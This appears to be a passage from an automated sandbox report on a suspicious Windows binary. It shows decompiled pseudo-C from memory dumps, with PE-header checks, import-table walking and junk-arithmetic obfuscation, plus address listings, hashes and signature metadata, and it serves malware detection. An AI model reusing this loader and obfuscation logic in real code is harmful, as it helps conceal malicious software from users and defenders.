								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 024C3A85, Relevance: 1.3, Strings: 1, Instructions: 92
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E024C3A85(void* __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t71;
				void* _t86;
				void* _t93;
				void* _t96;
				signed int _t100;
				signed int _t101;
				signed int _t102;
				void* _t106;

				_t86 = __ebx;
				_t70 = __eax;
				if(_a4 != 0x904f) {
					_a4 = _a4 + 1;
					_t70 = __eax - 0x426;
				} else {
					_t100 = _t100 ^ _v8;
					_a4 = 0xffffffff;
				}
				_t71 = E024C4238(_t70, _t86, _t106,  *((intOrPtr*)(_t86 + 0x418391)));
				_t101 = _t100 & 0x00000000;
				_a4 = _a4 | 0xffffffff;
				 *(_t86 + 0x41864b) = 0xffffffff;
				if(_a4 != 0x6b3d) {
					_a4 = _a4 | _t71;
					_t71 = _t71 & 0x00000000;
					 *(_t86 + 0x41864b) =  *(_t86 + 0x41864b) ^ _t101;
				} else {
					_t93 = _t93 + 0x2ff;
				}
				_t102 = _t101 | 0x0000074b;
				_v8 = _v8 ^ _t71;
				_t72 = _t71 & 0xffffffff;
				if((_t71 & 0xffffffff) == 0xb85f) {
					_v8 = _v8 & 0xffffffff;
				}
				_v8 = 1;
				_v8 = _v8 + _t96;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + 1;
				_v8 = _v8 ^ 0x00000000;
				E024C3BDB(_t72 & 0x00000000, _t86,  *((intOrPtr*)(_t86 + 0x41851f)));
				_v8 = _v8 ^ 0xffffffff;
				_a4 = _a4 & 0x00000000;
				_v8 = _v8 & 0x00000000;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) | 0xffffffff;
				_a4 = _a4 ^ 0x00000000;
				_a4 = _a4;
				_a4 = _a4 + 1;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) - 1;
				_a4 = _a4 | 0x00000001;
				 *(_t86 + 0x4185e3) =  *(_t86 + 0x4185e3) + _t102 - 1 + _t96;
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 + 1;
				_a4 = _a4 ^ 0x00000000;
				return 0xffffffffffffffff;
			}

0x024c3a85
0x024c3a85
0x024c3a97
0x024c3aac
0x024c3aaf
0x024c3a99
0x024c3a99
0x024c3a9c
0x024c3aa3
0x024c3ac0
0x024c3ac5
0x024c3ac8
0x024c3acb
0x024c3adc
0x024c3ae6
0x024c3ae9
0x024c3aee
0x024c3ade
0x024c3ade
0x024c3ade
0x024c3af4
0x024c3afa
0x024c3afd
0x024c3b04
0x024c3b0f
0x024c3b0f
0x024c3b12
0x024c3b19
0x024c3b22
0x024c3b28
0x024c3b2e
0x024c3b38
0x024c3b46
0x024c3b59
0x024c3b5d
0x024c3b60
0x024c3b67
0x024c3b77
0x024c3b7a
0x024c3b7d
0x024c3b90
0x024c3b9c
0x024c3ba3
0x024c3ba7
0x024c3bb9
0x024c3bd8

Strings

=k, xrefs: 024C3AD5

Memory Dump Source

Source File: 00000001.00000002.463832137.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: true

Associated: 00000001.00000002.463935812.00000000024D8000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.463950740.000000000251D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: =k
API String ID: 0-4048675473
Opcode ID: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction ID: c803687ac2fe8fb6bebf340f815cf1a30cb68f7f943be12912f2fc75ccad58f2
Opcode Fuzzy Hash: 98b9ea89f2378fc8d434ab78da3f182107d417997f6639ce0484e4127911c1e1
Instruction Fuzzy Hash: 54318072800608EFEB44CE78CA463DE7A70EF00375F24C36EAD29991D6D7388B919A54

Uniqueness

Uniqueness Score: -1.00%

Function 024C20EE, Relevance: .5, Instructions: 507
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E024C20EE(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, char _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _t278;
				signed int _t282;
				signed int _t284;
				signed int _t285;
				signed int _t286;
				signed int _t289;
				void* _t291;
				signed int _t293;
				signed int _t294;
				signed int _t297;
				signed int _t300;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t310;
				signed int _t318;
				signed int _t324;
				signed int _t337;
				signed int _t339;
				signed int _t341;
				signed int _t346;
				void* _t356;
				signed int _t358;
				signed int _t366;
				signed int _t368;
				signed int _t369;
				signed int _t370;
				signed int _t371;
				void* _t389;
				signed int _t396;
				signed int _t402;
				void* _t405;
				signed int _t406;
				signed int _t408;
				void* _t409;
				void* _t419;
				signed int _t421;
				void* _t426;
				signed int _t435;
				signed int _t436;
				void* _t443;
				signed int _t450;
				signed int* _t451;

				_t401 = __esi;
				_t366 = __edi;
				_t337 = __edx;
				_t305 = __ecx;
				_t300 = __ebx;
				_push(__ecx);
				 *_t450 =  *_t450 ^ __ecx;
				 *_t450 =  *_t450 | _t435;
				_t436 = _t450;
				_t451 = _t450 + 0xfffffff0;
				if( *(__ebx + 0x418237) == 0) {
					_t278 =  *((intOrPtr*)(__ebx + 0x45d020))();
					 *_t451 = __esi;
					 *(__ebx + 0x418237) = _t278;
					_t401 = 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t451 =  *_t451 + _t366;
				if( *(_t300 + 0x418399) == 0) {
					_t337 = _v28;
					_v28 =  *((intOrPtr*)(_t300 + 0x418607));
					_v32 =  *((intOrPtr*)(_t300 + 0x418163));
					_v20 = 0;
					_v36 = _v36 ^ _v32;
					_v40 =  *((intOrPtr*)(_t300 + 0x4183f0));
					_t401 = _t401;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t401, _v20, _t278, _t337);
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) & 0x00000000;
					 *(_t300 + 0x418399) =  *(_t300 + 0x418399) | _t366 ^ _v44 | _t278;
					_t366 = _t366;
				}
				_push(_v20);
				_v28 = _t401;
				if( *(_t300 + 0x4184c3) == 0) {
					_push(_t337);
					_t337 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41862f));
					_push(_t305);
					_v36 =  *((intOrPtr*)(_t300 + 0x4181bf));
					_t305 = _t305;
					_push(_t366);
					_v40 =  *((intOrPtr*)(_t300 + 0x41805f));
					_push(_t278);
					_push(_v40);
					_v44 =  *((intOrPtr*)(_t300 + 0x4180b3));
					_pop(_t396);
					 *_t451 =  *_t451 & 0x00000000;
					 *_t451 =  *_t451 + _t305;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t278);
					_v20 = _t396;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) & 0x00000000;
					 *(_t300 + 0x4184c3) =  *(_t300 + 0x4184c3) ^ (_t396 & 0x00000000 | _t278);
					_t366 = _v20;
				}
				_v20 = _t305;
				_t368 = _t366 & 0x00000000 | _t305 ^ _v20 ^ _a4;
				_t308 = _v20;
				if( *(_t300 + 0x4185b3) == 0) {
					_t278 =  *((intOrPtr*)(_t300 + 0x45d01c))();
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) & 0x00000000;
					 *(_t300 + 0x4185b3) =  *(_t300 + 0x4185b3) ^ (_t436 & 0x00000000 | _t278);
					_t436 = _t436;
				}
				_t369 = _t368 +  *((intOrPtr*)(_t368 + 0x3c));
				if( *(_t300 + 0x41818f) == 0) {
					_t406 = _v32;
					_v32 =  *((intOrPtr*)(_t300 + 0x41824f));
					_t369 = _v36;
					_v36 =  *((intOrPtr*)(_t300 + 0x4181c7));
					_v40 = _t308;
					_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_v20, _t369, _t401);
					_v20 = _t308;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) & 0x00000000;
					 *(_t300 + 0x41818f) =  *(_t300 + 0x41818f) ^ (_t308 ^ _v20 | _t278);
					_t310 = _v20;
				}
				if( *((intOrPtr*)(_t369 + 0x80)) != 0) {
					_t370 =  *((intOrPtr*)(_t369 + 0x80));
					if( *(_t300 + 0x41832c) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d020))();
						_v20 = _t370;
						 *(_t300 + 0x41832c) = _t278;
						_t370 = _v20;
					}
					_t371 = _t370 + _a4;
					if( *(_t300 + 0x41859b) == 0) {
						_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t401;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) & 0x00000000;
						 *(_t300 + 0x41859b) =  *(_t300 + 0x41859b) ^ _t401 & 0x00000000 ^ _t278;
						_t406 = _v20;
					}
					do {
						if( *_t371 != 0) {
							_v32 = _t278;
							_t402 = 0 ^  *_t371;
							_t278 = 0;
							if( *(_t300 + 0x41816b) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418487));
								_t337 = _v36;
								_v36 =  *((intOrPtr*)(_t300 + 0x418338));
								_t318 = _v40;
								_v40 =  *((intOrPtr*)(_t300 + 0x4183ec));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t310, _t337, _t278, _t402);
								_v20 = _t318;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) & 0x00000000;
								 *(_t300 + 0x41816b) =  *(_t300 + 0x41816b) | _t318 ^ _v20 ^ _t278;
								_t310 = _v20;
							}
						} else {
							if( *(_t300 + 0x418420) == 0) {
								_t278 =  *((intOrPtr*)(_t300 + 0x45d024))();
								_v20 = _t310;
								 *(_t300 + 0x418420) = 0 ^ _t278;
								_t310 = _v20;
							}
							_v20 = _t300;
							_t402 = _t406 & 0x00000000 ^ _t300 - _v20 ^  *(_t371 + 0x10);
							_t300 = _v20;
							if( *(_t300 + 0x41812f) == 0) {
								_v32 =  *((intOrPtr*)(_t300 + 0x418033));
								_t291 = _t278;
								_v36 = _v36 & 0x00000000;
								_v36 = _v36 + _t291;
								_v40 =  *((intOrPtr*)(_t300 + 0x41813b));
								_t356 = _t337;
								_t358 = _v44;
								_v44 =  *((intOrPtr*)(_t300 + 0x4182eb));
								_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t356, _t402, _t300, _t278);
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) & 0x00000000;
								 *(_t300 + 0x41812f) =  *(_t300 + 0x41812f) ^ _t358 ^  *_t451 ^ _t278;
								_t337 = _t358;
							}
						}
						_push(_t278);
						_t282 = _v32;
						_v32 =  *(_t371 + 0x10);
						if( *(_t300 + 0x4185cb) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d024))();
							_v36 = _t371;
							 *(_t300 + 0x4185cb) = 0 ^ _t282;
							_t371 = 0;
						}
						_pop( *_t173);
						if( *(_t300 + 0x418273) == 0) {
							_t282 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v32 = _t310;
							 *(_t300 + 0x418273) = _t282;
							_t310 = 0;
						}
						_t284 = _t282 & 0x00000000 | _t402 & 0x00000000 ^ _a4;
						_t405 = _t402;
						if( *(_t300 + 0x418203) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 | _t284;
							_t294 =  *((intOrPtr*)(_t300 + 0x45d020))();
							_v20 = _t371;
							 *(_t300 + 0x418203) = 0 ^ _t294;
							_t371 = _v20;
							_t284 = _t371;
						}
						_v16 = _v16 + _t284;
						if( *(_t300 + 0x4184ef) == 0) {
							_v32 =  *((intOrPtr*)(_t300 + 0x418127));
							_t371 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x4182f7));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185f7));
							_t419 = _t405;
							_t421 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x41827f));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d048))(_t451, _t419, _t405, _t371, _t310);
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) & 0x00000000;
							 *(_t300 + 0x4184ef) =  *(_t300 + 0x4184ef) | _t421 ^  *_t451 | _t284;
							_t405 = _t421;
						}
						 *_t200 =  *((intOrPtr*)(_t371 + 0xc));
						_push(_v20);
						_pop(_t309);
						if( *(_t300 + 0x418334) == 0) {
							_v32 = _v32 ^ _t300;
							_v32 = _v32 + _t309;
							_t324 = _v36;
							_v36 =  *((intOrPtr*)(_t300 + 0x41838d));
							_v40 =  *((intOrPtr*)(_t300 + 0x4185af));
							_t371 = _t371;
							_t436 = _v44;
							_v44 =  *((intOrPtr*)(_t300 + 0x418410));
							_t284 =  *((intOrPtr*)(_t300 + 0x45d03c))(_t284, _t309, _t300);
							_v20 = _t324;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) & 0x00000000;
							 *(_t300 + 0x418334) =  *(_t300 + 0x418334) ^ (_t324 & 0x00000000 | _t284);
							_t309 = _t436;
						}
						_t310 = _t309 + _a4;
						if( *(_t300 + 0x418474) == 0) {
							_v32 = _v32 & 0x00000000;
							_v32 = _v32 + _t310;
							_t284 =  *((intOrPtr*)(_t300 + 0x45d020))();
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) & 0x00000000;
							 *(_t300 + 0x418474) =  *(_t300 + 0x418474) | _t337 - _v36 ^ _t284;
							_t337 = _t337;
							_t310 = _t337;
						}
						_t406 = _t405 + _a4;
						if( *(_t300 + 0x418020) == 0) {
							_v32 = _v32 - _t284;
							_v32 = _t310;
							_v36 =  *((intOrPtr*)(_t300 + 0x418493));
							_t337 = _v40;
							_v40 =  *((intOrPtr*)(_t300 + 0x418507));
							_v20 = _v20 & 0x00000000;
							_v44 = _v44 + _t300;
							 *_t451 =  *_t451 & 0x00000000;
							 *_t451 =  *_t451 ^ _t300;
							_t293 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _v36, _t337, _t284);
							_v20 = _t371;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) & 0x00000000;
							 *(_t300 + 0x418020) =  *(_t300 + 0x418020) | _t371 ^ _v20 | _t293;
							_t371 = _v20;
							_t310 = _t337;
						}
						_v32 = _t310;
						_t285 =  *((intOrPtr*)(_t300 + 0x45d00c))(_v20);
						_v12 = _v12 & 0x00000000;
						_v12 = _v12 ^ (_t300 - _v36 | _t285);
						_t300 = _t300;
						do {
							if(( *_t406 & 0x80000000) != 0) {
								_v36 =  *_t406;
								_t339 = _t337;
								 *_t259 = _t371;
								_v8 = _v8 & 0x0000ffff;
							} else {
								_v20 = 0;
								_push(_v20);
								_v36 = _v36 + _t406;
								_t346 = _t337;
								_v20 = _t346;
								_v8 = _v8 & 0x00000000;
								_v8 = _v8 ^ _t346 ^ _v20 ^  *_t406 + _a4 + 0x00000002;
								_t339 = _v20;
								_pop(_t406);
							}
							_push(_v8);
							_pop( *_t263);
							_push(_v20);
							_pop(_t286);
							_v36 = _v8;
							_t341 = _t339;
							_v20 = _t341;
							_t337 = _v20;
							_v40 = _v40 ^ _t436;
							_v40 = _v40 + (_t286 & 0x00000000 | _t341 & 0x00000000 | _v12);
							_t289 =  *((intOrPtr*)(_t300 + 0x45d008))(_t436, _t371);
							_push(_v20);
							_v44 = _t406;
							_t408 = _t406 & 0x00000000 ^ (_t371 & 0x00000000 | _v16);
							_t371 = _t371;
							_v20 = _t310;
							 *_t408 =  *_t408 & 0x00000000;
							 *_t408 =  *_t408 | _t310 & 0x00000000 ^ _t289;
							_t310 = _v20;
							_pop(_t409);
							_v44 = 4;
							_t278 = _t371;
							_t406 = _t409 + _t278;
							_v16 = _v16 + _t278;
						} while ( *_t406 != 0);
						_t371 =  &_a16;
						_t436 = _t436;
					} while ( *_t371 != 0 ||  *(_t371 + 0x10) != 0);
					_push(_t406);
					return _t278 ^ _t278;
				} else {
					if( *(_t300 + 0x4184e3) == 0) {
						_v32 =  *((intOrPtr*)(_t300 + 0x418253));
						_t436 = _v36;
						_v36 =  *((intOrPtr*)(_t300 + 0x4181ef));
						_v40 =  *((intOrPtr*)(_t300 + 0x41823b));
						_v20 = _v20 & 0x00000000;
						_v44 = _t451 + _v44;
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_v20, _t401, _t369, _v32, _t436);
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) & 0x00000000;
						 *(_t300 + 0x4184e3) =  *(_t300 + 0x4184e3) | _t308 & 0x00000000 ^ _t278;
						_t308 = _t308;
					}
					_pop(_t426);
					if( *((intOrPtr*)(_t300 + 0x41826f)) == 0) {
						_v28 =  *((intOrPtr*)(_t300 + 0x418587));
						_t443 = _t436;
						_v32 =  *((intOrPtr*)(_t300 + 0x418014));
						_t436 = _t443;
						_t308 = _v40;
						_v40 =  *(_t300 + 0x4182c7);
						_v44 =  *(_t300 + 0x4181ab);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d048))(_t426, _t337, _t308, _t436, _t337, _t426);
						 *_t89 = _t278;
						_push(_v20);
						_pop( *_t91);
					}
					_pop(_t385);
					if( *(_t300 + 0x418593) == 0) {
						_v20 = _v20 & 0x00000000;
						_push(_v20);
						 *_t451 =  *_t451 + _t278;
						_v28 =  *((intOrPtr*)(_t300 + 0x4180a3));
						_push(_t308);
						_push(_v28);
						_v32 =  *(_t300 + 0x4185e7);
						_pop(_t389);
						_v36 =  *(_t300 + 0x4185bb);
						_t278 =  *((intOrPtr*)(_t300 + 0x45d044))(_t389, _t337);
						_v20 = _t337;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) & 0x00000000;
						 *(_t300 + 0x418593) =  *(_t300 + 0x418593) | _t337 & 0x00000000 | _t278;
					}
					if( *(_t300 + 0x4180cb) == 0) {
						_t297 =  *((intOrPtr*)(_t300 + 0x45d024))();
						_v20 = _t308;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) & 0x00000000;
						 *(_t300 + 0x4180cb) =  *(_t300 + 0x4180cb) | _t308 & 0x00000000 ^ _t297;
						return _t297;
					}
					return _t278;
				}
			}

0x024c20ee
0x024c20ee
0x024c20ee
0x024c20ee
0x024c20ee
0x024c20ee
0x024c20ef
0x024c20f2
0x024c20f5
0x024c20f7
0x024c2101
0x024c2103
0x024c210b
0x024c2112
0x024c2118
0x024c2118
0x024c2119
0x024c211d
0x024c2120
0x024c212a
0x024c2133
0x024c2133
0x024c213d
0x024c2140
0x024c214a
0x024c2155
0x024c2159
0x024c215a
0x024c2166
0x024c216d
0x024c2173
0x024c2173
0x024c2174
0x024c2177
0x024c2181
0x024c2183
0x024c218a
0x024c218a
0x024c218d
0x024c2195
0x024c2199
0x024c219a
0x024c21a1
0x024c21a4
0x024c21a5
0x024c21ac
0x024c21b0
0x024c21b2
0x024c21b6
0x024c21b9
0x024c21bf
0x024c21c7
0x024c21ce
0x024c21d4
0x024c21d4
0x024c21d7
0x024c21e3
0x024c21e5
0x024c21ef
0x024c21f1
0x024c21fd
0x024c2204
0x024c220a
0x024c220a
0x024c220b
0x024c2215
0x024c221e
0x024c221e
0x024c2228
0x024c2228
0x024c222e
0x024c2231
0x024c2237
0x024c223f
0x024c2246
0x024c224c
0x024c224c
0x024c2256
0x024c23a1
0x024c23ae
0x024c23b0
0x024c23b6
0x024c23bd
0x024c23c3
0x024c23c3
0x024c23c6
0x024c23d0
0x024c23d2
0x024c23d8
0x024c23e0
0x024c23e7
0x024c23ed
0x024c23ed
0x024c23f0
0x024c23f3
0x024c2498
0x024c249f
0x024c24a1
0x024c24a9
0x024c24b3
0x024c24bf
0x024c24bf
0x024c24c9
0x024c24c9
0x024c24cc
0x024c24d2
0x024c24da
0x024c24e1
0x024c24e7
0x024c24e7
0x024c23f9
0x024c2400
0x024c2402
0x024c2408
0x024c240f
0x024c2415
0x024c2415
0x024c2418
0x024c2424
0x024c2426
0x024c2430
0x024c243a
0x024c243e
0x024c2440
0x024c2444
0x024c244f
0x024c2453
0x024c245b
0x024c245b
0x024c245e
0x024c246a
0x024c2471
0x024c2477
0x024c2477
0x024c2478
0x024c24ea
0x024c24ee
0x024c24ee
0x024c24f8
0x024c24fa
0x024c2502
0x024c2509
0x024c250f
0x024c250f
0x024c2510
0x024c251a
0x024c251c
0x024c2524
0x024c252b
0x024c2531
0x024c2531
0x024c253c
0x024c253e
0x024c2546
0x024c2549
0x024c254d
0x024c2550
0x024c2556
0x024c255d
0x024c2563
0x024c2566
0x024c2566
0x024c2567
0x024c2571
0x024c257a
0x024c2584
0x024c2584
0x024c258f
0x024c2593
0x024c259b
0x024c259b
0x024c259f
0x024c25ab
